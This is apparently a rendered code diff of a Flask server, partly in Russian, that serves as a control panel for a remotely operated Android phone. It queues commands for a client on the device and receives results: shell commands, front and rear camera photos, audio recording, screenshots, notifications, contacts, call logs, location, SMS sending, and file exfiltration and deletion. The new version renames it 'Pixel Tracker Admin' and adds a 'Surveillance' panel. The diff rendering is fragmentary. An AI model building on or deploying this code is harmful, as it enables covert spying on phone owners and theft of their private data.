<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
|
| 674 |
-
<button type="submit">Загрузить</button>
|
| 675 |
-
</form>
|
| 676 |
-
<p id="uploadToDeviceStatus"></p>
|
| 677 |
-
</div>
|
| 678 |
-
</div>
|
| 679 |
-
|
| 680 |
-
<div id="shell" class="container hidden-section">
|
| 681 |
-
<h2>Выполнить команду на устройстве</h2>
|
| 682 |
-
<form onsubmit="submitShellCommand(event)">
|
| 683 |
-
<label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
|
| 684 |
-
<input type="text" id="command_str" name="command_str" required>
|
| 685 |
-
<button type="submit">Отправить</button>
|
| 686 |
-
</form>
|
| 687 |
-
<div class="control-section" style="margin-top:20px;">
|
| 688 |
-
<h3>Вывод команды:</h3>
|
| 689 |
-
<pre id="outputAreaShellCopy"></pre>
|
| 690 |
-
</div>
|
| 691 |
-
</div>
|
| 692 |
-
|
| 693 |
-
<div id="media" class="container hidden-section">
|
| 694 |
-
<h2>Мультимедиа</h2>
|
| 695 |
-
<div class="control-section">
|
| 696 |
-
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
|
| 697 |
-
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
| 698 |
-
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
|
| 699 |
-
</div>
|
| 700 |
-
<div class="control-section">
|
| 701 |
-
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
|
| 702 |
-
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
| 703 |
-
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
| 704 |
-
</div>
|
| 705 |
-
<div class="control-section">
|
| 706 |
-
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
| 707 |
-
</div>
|
| 708 |
-
<div class="control-section" style="margin-top:20px;">
|
| 709 |
-
<h3>Результат операции:</h3>
|
| 710 |
-
<pre id="outputAreaMediaCopy"></pre>
|
| 711 |
-
</div>
|
| 712 |
-
</div>
|
| 713 |
-
|
| 714 |
-
<div id="clipboard" class="container hidden-section">
|
| 715 |
-
<h2>Буфер обмена</h2>
|
| 716 |
-
<div class="control-section"><button onclick="getClipboard()">Получить из буфера</button></div>
|
| 717 |
-
<div class="control-section">
|
| 718 |
-
<label for="clipboardSetText">Текст для вставки в буфер:</label>
|
| 719 |
-
<textarea id="clipboardSetText" rows="3"></textarea>
|
| 720 |
-
<button onclick="setClipboard()">Вставить в буфер</button>
|
| 721 |
-
</div>
|
| 722 |
-
<div class="control-section" style="margin-top:20px;">
|
| 723 |
-
<h3>Результат операции с буфером:</h3>
|
| 724 |
-
<pre id="outputAreaClipboardCopy"></pre>
|
| 725 |
-
</div>
|
| 726 |
-
</div>
|
| 727 |
-
|
| 728 |
-
<div id="utils" class="container hidden-section">
|
| 729 |
-
<h2>Утилиты</h2>
|
| 730 |
-
<div class="control-section">
|
| 731 |
-
<label for="urlToOpen">Открыть URL на устройстве:</label>
|
| 732 |
-
<input type="text" id="urlToOpen" placeholder="https://example.com">
|
| 733 |
-
<button onclick="openUrlOnDevice()">Открыть URL</button>
|
| 734 |
-
</div>
|
| 735 |
-
<div class="control-section" style="margin-top:20px;">
|
| 736 |
-
<h3>Результат операции:</h3>
|
| 737 |
-
<pre id="outputAreaUtilsCopy"></pre>
|
| 738 |
-
</div>
|
| 739 |
-
</div>
|
| 740 |
-
|
| 741 |
-
<div id="system" class="container hidden-section">
|
| 742 |
-
<h2>Системные функции</h2>
|
| 743 |
-
<div class="control-section">
|
| 744 |
-
<h3>Синтез речи (TTS)</h3>
|
| 745 |
-
<label for="ttsText">Текст для озвучивания:</label>
|
| 746 |
-
<textarea id="ttsText" rows="2">Привет, мир!</textarea>
|
| 747 |
-
<button onclick="speakText()">Озвучить</button>
|
| 748 |
-
</div>
|
| 749 |
-
<div class="control-section">
|
| 750 |
-
<h3>Вибрация</h3>
|
| 751 |
-
<label for="vibrateDuration">Длительность (мс):</label>
|
| 752 |
-
<input type="text" id="vibrateDuration" value="1000" style="width:100px;">
|
| 753 |
-
<button onclick="vibrateDevice()">Вибрировать</button>
|
| 754 |
-
</div>
|
| 755 |
-
<div class="control-section">
|
| 756 |
-
<h3>Фонарик</h3>
|
| 757 |
-
<button onclick="toggleTorch('on')">Включить</button>
|
| 758 |
-
<button onclick="toggleTorch('off')">Выключить</button>
|
| 759 |
-
</div>
|
| 760 |
-
<div class="control-section">
|
| 761 |
-
<h3>Информация</h3>
|
| 762 |
-
<button onclick="getDeviceInfo()">Информация об устройстве</button>
|
| 763 |
-
<button onclick="getWifiInfo()">Информация о Wi-Fi</button>
|
| 764 |
-
</div>
|
| 765 |
-
<div class="control-section" style="margin-top:20px;">
|
| 766 |
-
<h3>Результат операции:</h3>
|
| 767 |
-
<pre id="outputAreaSystemCopy"></pre>
|
| 768 |
-
</div>
|
| 769 |
</div>
|
| 770 |
-
|
| 771 |
-
|
| 772 |
-
<
|
| 773 |
-
<div class="control-section">
|
| 774 |
-
<button onclick="refreshServerUploads()">Обновить список</button>
|
| 775 |
-
<ul id="serverUploadedFiles" class="server-file-list"><li>Нет загруженных файлов.</li></ul>
|
| 776 |
-
</div>
|
| 777 |
</div>
|
| 778 |
-
</div>
|
| 779 |
-
|
| 780 |
-
|
| 781 |
-
|
| 782 |
-
|
| 783 |
-
|
| 784 |
-
|
| 785 |
-
|
| 786 |
-
|
| 787 |
-
|
| 788 |
-
|
| 789 |
-
|
| 790 |
-
|
| 791 |
-
|
| 792 |
-
|
| 793 |
-
|
| 794 |
-
|
| 795 |
-
|
| 796 |
-
|
| 797 |
-
});
|
| 798 |
-
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
|
| 799 |
-
});
|
| 800 |
-
</script>
|
| 801 |
</body>
|
| 802 |
</html>
|
| 803 |
"""
|
| 804 |
|
| 805 |
@app.route('/')
|
| 806 |
def index():
|
| 807 |
-
|
|
|
|
| 808 |
|
| 809 |
@app.route('/send_command', methods=['POST'])
|
| 810 |
def handle_send_command():
|
| 811 |
global pending_command, command_output
|
| 812 |
-
|
| 813 |
data = request.json
|
| 814 |
-
|
| 815 |
|
| 816 |
-
|
| 817 |
|
| 818 |
-
if
|
| 819 |
-
|
| 820 |
-
elif
|
| 821 |
-
|
| 822 |
-
elif
|
| 823 |
-
|
| 824 |
-
elif
|
| 825 |
-
|
| 826 |
-
elif
|
| 827 |
-
|
| 828 |
-
|
| 829 |
-
|
| 830 |
-
elif
|
| 831 |
-
|
| 832 |
-
elif
|
| 833 |
-
|
| 834 |
-
|
| 835 |
-
|
| 836 |
-
target_path = data.get('target_path_on_device')
|
| 837 |
-
|
| 838 |
-
|
| 839 |
-
|
| 840 |
-
|
| 841 |
-
|
| 842 |
-
'target_path': target_path,
|
| 843 |
-
'original_filename': server_filename.split('_', 1)[1] if '_' in server_filename else server_filename
|
| 844 |
-
}
|
| 845 |
-
else:
|
| 846 |
-
command_output = f"Ошибка: Файл {server_filename} не найден на сервере."
|
| 847 |
-
elif command_type == 'clipboard_get':
|
| 848 |
-
pending_command = {'type': 'clipboard_get'}
|
| 849 |
-
elif command_type == 'clipboard_set':
|
| 850 |
-
pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
|
| 851 |
-
elif command_type == 'open_url':
|
| 852 |
-
pending_command = {'type': 'open_url', 'url': data.get('url')}
|
| 853 |
-
elif command_type == 'get_device_status':
|
| 854 |
-
pending_command = {'type': 'get_device_status', 'item': data.get('item')}
|
| 855 |
-
elif command_type == 'get_notifications':
|
| 856 |
-
pending_command = {'type': 'get_notifications'}
|
| 857 |
-
elif command_type == 'get_contacts':
|
| 858 |
-
pending_command = {'type': 'get_contacts'}
|
| 859 |
-
elif command_type == 'send_sms':
|
| 860 |
-
pending_command = {'type': 'send_sms', 'number': data.get('number'), 'text': data.get('text')}
|
| 861 |
-
elif command_type == 'get_call_log':
|
| 862 |
-
pending_command = {'type': 'get_call_log'}
|
| 863 |
-
elif command_type == 'tts_speak':
|
| 864 |
-
pending_command = {'type': 'tts_speak', 'text': data.get('text')}
|
| 865 |
-
elif command_type == 'vibrate':
|
| 866 |
-
pending_command = {'type': 'vibrate', 'duration': data.get('duration', '1000')}
|
| 867 |
-
elif command_type == 'torch':
|
| 868 |
-
pending_command = {'type': 'torch', 'state': data.get('state', 'off')}
|
| 869 |
-
elif command_type == 'get_device_info':
|
| 870 |
-
pending_command = {'type': 'get_device_info'}
|
| 871 |
-
elif command_type == 'get_wifi_info':
|
| 872 |
-
pending_command = {'type': 'get_wifi_info'}
|
| 873 |
-
else:
|
| 874 |
-
command_output = "Неизвестный тип команды."
|
| 875 |
-
|
| 876 |
-
return jsonify({'status': 'command_queued'})
|
| 877 |
|
| 878 |
@app.route('/get_command', methods=['GET'])
|
| 879 |
def get_command():
|
| 880 |
global pending_command
|
| 881 |
if pending_command:
|
| 882 |
-
|
| 883 |
-
pending_command = None
|
| 884 |
-
return jsonify(
|
| 885 |
return jsonify(None)
|
| 886 |
|
| 887 |
@app.route('/submit_client_data', methods=['POST'])
|
| 888 |
-
def
|
| 889 |
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
| 890 |
-
|
| 891 |
data = request.json
|
| 892 |
-
if not data: return jsonify({'status':
|
| 893 |
-
|
| 894 |
-
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
| 895 |
-
|
| 896 |
-
if 'output' in data:
|
| 897 |
-
command_output = data['output']
|
| 898 |
|
| 899 |
-
|
| 900 |
-
|
| 901 |
-
|
| 902 |
-
if 'device_status_update' in data:
|
| 903 |
-
|
| 904 |
-
|
| 905 |
-
if 'notifications_update' in data:
|
| 906 |
-
notifications_history = data['notifications_update']
|
| 907 |
|
| 908 |
-
|
| 909 |
-
contacts_list = data['contacts_update']
|
| 910 |
-
|
| 911 |
-
if 'heartbeat' in data and data['heartbeat'] and not any(k in data for k in ['output', 'device_status_update', 'notifications_update', 'contacts_update']):
|
| 912 |
-
command_output = "Клиент онлайн."
|
| 913 |
-
|
| 914 |
-
return jsonify({'status': 'data_received'})
|
| 915 |
|
| 916 |
-
@app.route('/
|
| 917 |
-
def
|
| 918 |
-
global command_output, last_client_heartbeat
|
| 919 |
-
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
|
| 920 |
-
if 'file' not in request.files:
|
| 921 |
-
return jsonify({'status': 'error', 'message': 'No file part'})
|
| 922 |
-
|
| 923 |
-
file = request.files['file']
|
| 924 |
-
if file.filename == '':
|
| 925 |
-
return jsonify({'status': 'error', 'message': 'No selected file'})
|
| 926 |
-
|
| 927 |
-
if file:
|
| 928 |
-
filename = werkzeug.utils.secure_filename(file.filename)
|
| 929 |
-
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
| 930 |
-
|
| 931 |
-
base, ext = os.path.splitext(filename)
|
| 932 |
-
counter = 1
|
| 933 |
-
while os.path.exists(filepath):
|
| 934 |
-
filename = f"{base}_{counter}{ext}"
|
| 935 |
-
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
|
| 936 |
-
counter += 1
|
| 937 |
-
|
| 938 |
-
try:
|
| 939 |
-
file.save(filepath)
|
| 940 |
-
command_output = f"Файл '{filename}' успешно загружен С клиента."
|
| 941 |
-
return jsonify({'status': 'success', 'filename': filename})
|
| 942 |
-
except Exception as e:
|
| 943 |
-
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
|
| 944 |
-
return jsonify({'status': 'error', 'message': str(e)})
|
| 945 |
-
|
| 946 |
-
@app.route('/get_status_output', methods=['GET'])
|
| 947 |
-
def get_status_output_route():
|
| 948 |
-
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
|
| 949 |
return jsonify({
|
| 950 |
-
'output': command_output,
|
| 951 |
-
'
|
| 952 |
-
'
|
| 953 |
-
'
|
| 954 |
'notifications': notifications_history,
|
| 955 |
'contacts': contacts_list
|
| 956 |
})
|
| 957 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 958 |
@app.route('/uploads_from_client/<path:filename>')
|
| 959 |
-
def
|
| 960 |
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
|
| 961 |
|
| 962 |
-
@app.route('/delete_uploaded_file/<path:filename>', methods=['POST'])
|
| 963 |
-
def delete_uploaded_file_route(filename):
|
| 964 |
-
try:
|
| 965 |
-
secure_name = werkzeug.utils.secure_filename(filename)
|
| 966 |
-
file_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_name)
|
| 967 |
-
if os.path.exists(file_path) and os.path.isfile(file_path):
|
| 968 |
-
os.remove(file_path)
|
| 969 |
-
return jsonify({'status': 'success', 'message': f'Файл {secure_name} удален.'})
|
| 970 |
-
else:
|
| 971 |
-
return jsonify({'status': 'error', 'message': 'Файл не найден.'}), 404
|
| 972 |
-
except Exception as e:
|
| 973 |
-
return jsonify({'status': 'error', 'message': str(e)}), 500
|
| 974 |
-
|
| 975 |
-
@app.route('/list_uploaded_files')
|
| 976 |
-
def list_uploaded_files_route():
|
| 977 |
-
files_details = []
|
| 978 |
-
upload_folder = app.config['UPLOAD_FOLDER']
|
| 979 |
-
image_extensions = {'.jpg', '.jpeg', '.png', '.gif', '.bmp', '.webp'}
|
| 980 |
-
try:
|
| 981 |
-
for f_name in os.listdir(upload_folder):
|
| 982 |
-
f_path = os.path.join(upload_folder, f_name)
|
| 983 |
-
if os.path.isfile(f_path):
|
| 984 |
-
stats = os.stat(f_path)
|
| 985 |
-
files_details.append({
|
| 986 |
-
'name': f_name,
|
| 987 |
-
'size': stats.st_size,
|
| 988 |
-
'mtime': stats.st_mtime,
|
| 989 |
-
'is_image': os.path.splitext(f_name)[1].lower() in image_extensions
|
| 990 |
-
})
|
| 991 |
-
except Exception:
|
| 992 |
-
pass
|
| 993 |
-
files_details.sort(key=lambda x: x['mtime'], reverse=True)
|
| 994 |
-
return jsonify({'files': files_details})
|
| 995 |
-
|
| 996 |
@app.route('/upload_to_server_for_client', methods=['POST'])
|
| 997 |
-
def
|
| 998 |
-
|
| 999 |
-
|
| 1000 |
-
|
| 1001 |
-
if
|
| 1002 |
-
|
| 1003 |
-
|
| 1004 |
-
|
| 1005 |
-
|
| 1006 |
-
|
| 1007 |
-
|
| 1008 |
-
|
| 1009 |
-
|
| 1010 |
-
|
| 1011 |
-
|
| 1012 |
-
})
|
| 1013 |
-
except Exception as e:
|
| 1014 |
-
return jsonify({'status': 'error', 'message': str(e)}), 500
|
| 1015 |
|
| 1016 |
@app.route('/download_to_client/<filename>')
|
| 1017 |
-
def
|
| 1018 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename)
|
| 1019 |
|
| 1020 |
if __name__ == '__main__':
|
|
|
|
| 3 |
import datetime
|
| 4 |
import uuid
|
| 5 |
import werkzeug.utils
|
| 6 |
+
import json
|
|
|
|
| 7 |
|
| 8 |
app = Flask(__name__)
|
| 9 |
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
|
|
|
|
| 13 |
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
|
| 14 |
|
| 15 |
pending_command = None
|
| 16 |
+
command_output = "Waiting for client..."
|
| 17 |
last_client_heartbeat = None
|
| 18 |
+
current_client_path = "~"
|
|
|
|
| 19 |
device_status_info = {}
|
| 20 |
notifications_history = []
|
| 21 |
contacts_list = []
|
| 22 |
|
|
|
|
| 23 |
HTML_TEMPLATE = """
|
| 24 |
<!DOCTYPE html>
|
| 25 |
+
<html lang="en">
|
| 26 |
<head>
|
| 27 |
+
<meta charset="UTF-8">
|
| 28 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 29 |
+
<title>Pixel Tracker Admin</title>
|
| 30 |
+
<style>
|
| 31 |
+
body{font-family:sans-serif;margin:0;padding:0;background:#f4f4f4;display:flex;height:100vh}
|
| 32 |
+
.sidebar{width:240px;background:#333;color:#fff;overflow-y:auto}
|
| 33 |
+
.sidebar h2{text-align:center;padding:10px;border-bottom:1px solid #555}
|
| 34 |
+
.sidebar ul{list-style:none;padding:0}
|
| 35 |
+
.sidebar li a{display:block;padding:15px;color:#ccc;text-decoration:none;border-bottom:1px solid #444}
|
| 36 |
+
.sidebar li a:hover,.sidebar li a.active{background:#444;color:#fff}
|
| 37 |
+
.content{flex:1;padding:20px;overflow-y:auto}
|
| 38 |
+
.panel{background:#fff;padding:20px;border-radius:5px;box-shadow:0 2px 5px rgba(0,0,0,0.1);margin-bottom:20px;display:none}
|
| 39 |
+
.panel.active{display:block}
|
| 40 |
+
.status-bar{background:#ddd;padding:10px;margin-bottom:20px;border-radius:5px;font-weight:bold}
|
| 41 |
+
.online{color:green}.offline{color:red}
|
| 42 |
+
pre{background:#222;color:#0f0;padding:15px;border-radius:5px;overflow-x:auto;white-space:pre-wrap}
|
| 43 |
+
input,button,select,textarea{padding:10px;margin:5px 0;border-radius:3px;border:1px solid #ccc;width:100%;box-sizing:border-box}
|
| 44 |
+
button{background:#007bff;color:#fff;border:none;cursor:pointer}
|
| 45 |
+
button:hover{background:#0056b3}
|
| 46 |
+
.file-list li{display:flex;justify-content:space-between;padding:5px;border-bottom:1px solid #eee}
|
| 47 |
+
</style>
|
| 48 |
+
<script>
|
| 49 |
+
async function api(endpoint, data={}){
|
| 50 |
+
return await fetch(endpoint, {method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)});
|
| 51 |
+
}
|
| 52 |
+
function show(id){
|
| 53 |
+
document.querySelectorAll('.panel').forEach(d=>d.classList.remove('active'));
|
| 54 |
+
document.getElementById(id).classList.add('active');
|
| 55 |
+
document.querySelectorAll('.sidebar a').forEach(a=>a.classList.remove('active'));
|
| 56 |
+
event.target.classList.add('active');
|
| 57 |
+
}
|
| 58 |
+
async function update(){
|
| 59 |
+
let r = await fetch('/get_status');
|
| 60 |
+
let d = await r.json();
|
| 61 |
+
document.getElementById('out').innerText = d.output;
|
| 62 |
+
document.getElementById('path').innerText = d.path;
|
| 63 |
+
let hb = new Date(d.heartbeat);
|
| 64 |
+
let diff = (new Date()-hb)/1000;
|
| 65 |
+
let st = document.getElementById('stat');
|
| 66 |
+
st.innerText = diff < 30 ? "ONLINE" : "OFFLINE";
|
| 67 |
+
st.className = diff < 30 ? "online" : "offline";
|
| 68 |
+
if(d.status){
|
| 69 |
+
let bat = d.status.battery || {};
|
| 70 |
+
let loc = d.status.location || {};
|
| 71 |
+
document.getElementById('dev_stat').innerHTML = `Battery: ${bat.percentage}%<br>Location: ${loc.latitude}, ${loc.longitude}`;
|
| 72 |
+
}
|
| 73 |
+
renderList('notif_list', d.notifications, item => `<b>${item.packageName}</b>: ${item.title} - ${item.content}`);
|
| 74 |
+
renderList('cont_list', d.contacts, item => `<b>${item.name}</b>: ${item.number}`);
|
| 75 |
+
}
|
| 76 |
+
function renderList(id, list, fmt){
|
| 77 |
+
let el = document.getElementById(id);
|
| 78 |
+
el.innerHTML = '';
|
| 79 |
+
list.forEach(i=>{let d=document.createElement('div');d.innerHTML=fmt(i);d.style.borderBottom='1px solid #eee';d.style.padding='5px';el.appendChild(d)});
|
| 80 |
+
}
|
| 81 |
+
function send(type, args={}){ args.command_type=type; api('/send_command', args); }
|
| 82 |
+
function sh(){ send('shell', {command:document.getElementById('cmd').value}); document.getElementById('cmd').value=''; }
|
| 83 |
+
function nav(p){ send('list_files', {path:p}); }
|
| 84 |
+
function dl(f){ send('request_download_file', {filename:f}); }
|
| 85 |
+
function zip(f){ send('zip_and_upload_dir', {path:f}); }
|
| 86 |
+
function del(f){ if(confirm('Del?')) send('delete_file', {filename:f}); }
|
| 87 |
+
async function upload_srv(e){
|
| 88 |
+
e.preventDefault();
|
| 89 |
+
let f = new FormData(document.getElementById('up_form'));
|
| 90 |
+
await fetch('/upload_to_server_for_client', {method:'POST',body:f});
|
| 91 |
+
alert('Uploaded to server. Now initiating client download.');
|
| 92 |
+
}
|
| 93 |
+
setInterval(update, 3000);
|
| 94 |
+
window.onload=update;
|
| 95 |
+
</script>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 96 |
</head>
|
| 97 |
<body>
|
| 98 |
+
<div class="sidebar">
|
| 99 |
+
<h2>Tracker</h2>
|
| 100 |
+
<ul>
|
| 101 |
+
<li><a href="#" onclick="show('dash')" class="active">Dashboard</a></li>
|
| 102 |
+
<li><a href="#" onclick="show('files')">Files</a></li>
|
| 103 |
+
<li><a href="#" onclick="show('media')">Media</a></li>
|
| 104 |
+
<li><a href="#" onclick="show('info')">Info & Logs</a></li>
|
| 105 |
+
<li><a href="#" onclick="show('server')">Server Files</a></li>
|
| 106 |
+
</ul>
|
| 107 |
+
</div>
|
| 108 |
+
<div class="content">
|
| 109 |
+
<div class="status-bar">Status: <span id="stat" class="offline">Checking...</span> | Path: <span id="path">~</span></div>
|
| 110 |
+
|
| 111 |
+
<div id="dash" class="panel active">
|
| 112 |
+
<h3>Shell</h3>
|
| 113 |
+
<input id="cmd" placeholder="Command..." onkeypress="if(event.key==='Enter') sh()">
|
| 114 |
+
<button onclick="sh()">Run</button>
|
| 115 |
+
<h3>Output</h3>
|
| 116 |
+
<pre id="out"></pre>
|
| 117 |
+
<h3>Device Status</h3>
|
| 118 |
+
<div id="dev_stat">No Data</div>
|
| 119 |
+
<button onclick="send('get_device_status')">Refresh Status</button>
|
| 120 |
+
</div>
|
| 121 |
+
|
| 122 |
+
<div id="files" class="panel">
|
| 123 |
+
<h3>File Manager</h3>
|
| 124 |
+
<button onclick="nav('~')">Home</button>
|
| 125 |
+
<button onclick="nav('/sdcard')">SD Card</button>
|
| 126 |
+
<input id="cpath" placeholder="Path...">
|
| 127 |
+
<button onclick="nav(document.getElementById('cpath').value)">Go</button>
|
| 128 |
+
<hr>
|
| 129 |
+
<form id="up_form" onsubmit="upload_srv(event)">
|
| 130 |
+
<input type="file" name="file_to_device">
|
| 131 |
+
<input name="target_path_on_device" value="/sdcard/Download/">
|
| 132 |
+
<button type="submit">Upload to Device</button>
|
| 133 |
+
</form>
|
| 134 |
+
<p>Use shell 'ls -F' to see files, then type name below to action.</p>
|
| 135 |
+
<input id="tfile" placeholder="Target filename/folder">
|
| 136 |
+
<button onclick="dl(document.getElementById('tfile').value)">Download File</button>
|
| 137 |
+
<button onclick="zip(document.getElementById('tfile').value)">Zip & Download Folder</button>
|
| 138 |
+
<button onclick="del(document.getElementById('tfile').value)" style="background:red">Delete</button>
|
| 139 |
+
</div>
|
| 140 |
+
|
| 141 |
+
<div id="media" class="panel">
|
| 142 |
+
<h3>Surveillance</h3>
|
| 143 |
+
<button onclick="send('take_photo', {camera_id:'0'})">Rear Cam</button>
|
| 144 |
+
<button onclick="send('take_photo', {camera_id:'1'})">Front Cam</button>
|
| 145 |
+
<button onclick="send('screenshot')">Screenshot</button>
|
| 146 |
+
<button onclick="send('record_audio', {duration:10})">Rec Audio (10s)</button>
|
| 147 |
+
<hr>
|
| 148 |
+
<input id="tts" placeholder="TTS Text">
|
| 149 |
+
<button onclick="send('tts_speak', {text:document.getElementById('tts').value})">Speak</button>
|
| 150 |
+
<button onclick="send('torch', {state:'on'})">Torch ON</button>
|
| 151 |
+
<button onclick="send('torch', {state:'off'})">Torch OFF</button>
|
| 152 |
+
</div>
|
| 153 |
+
|
| 154 |
+
<div id="info" class="panel">
|
| 155 |
+
<h3>Data</h3>
|
| 156 |
+
<button onclick="send('get_notifications')">Get Notifications</button>
|
| 157 |
+
<button onclick="send('get_contacts')">Get Contacts</button>
|
| 158 |
+
<button onclick="send('get_call_log')">Get Call Log</button>
|
| 159 |
+
<button onclick="send('get_wifi_info')">Get WiFi Info</button>
|
| 160 |
+
<button onclick="send('get_device_info')">Device Info</button>
|
| 161 |
+
<div style="display:flex">
|
| 162 |
+
<div style="flex:1;margin-right:10px">
|
| 163 |
+
<h4>Notifications</h4>
|
| 164 |
+
<div id="notif_list" style="max-height:300px;overflow:auto"></div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
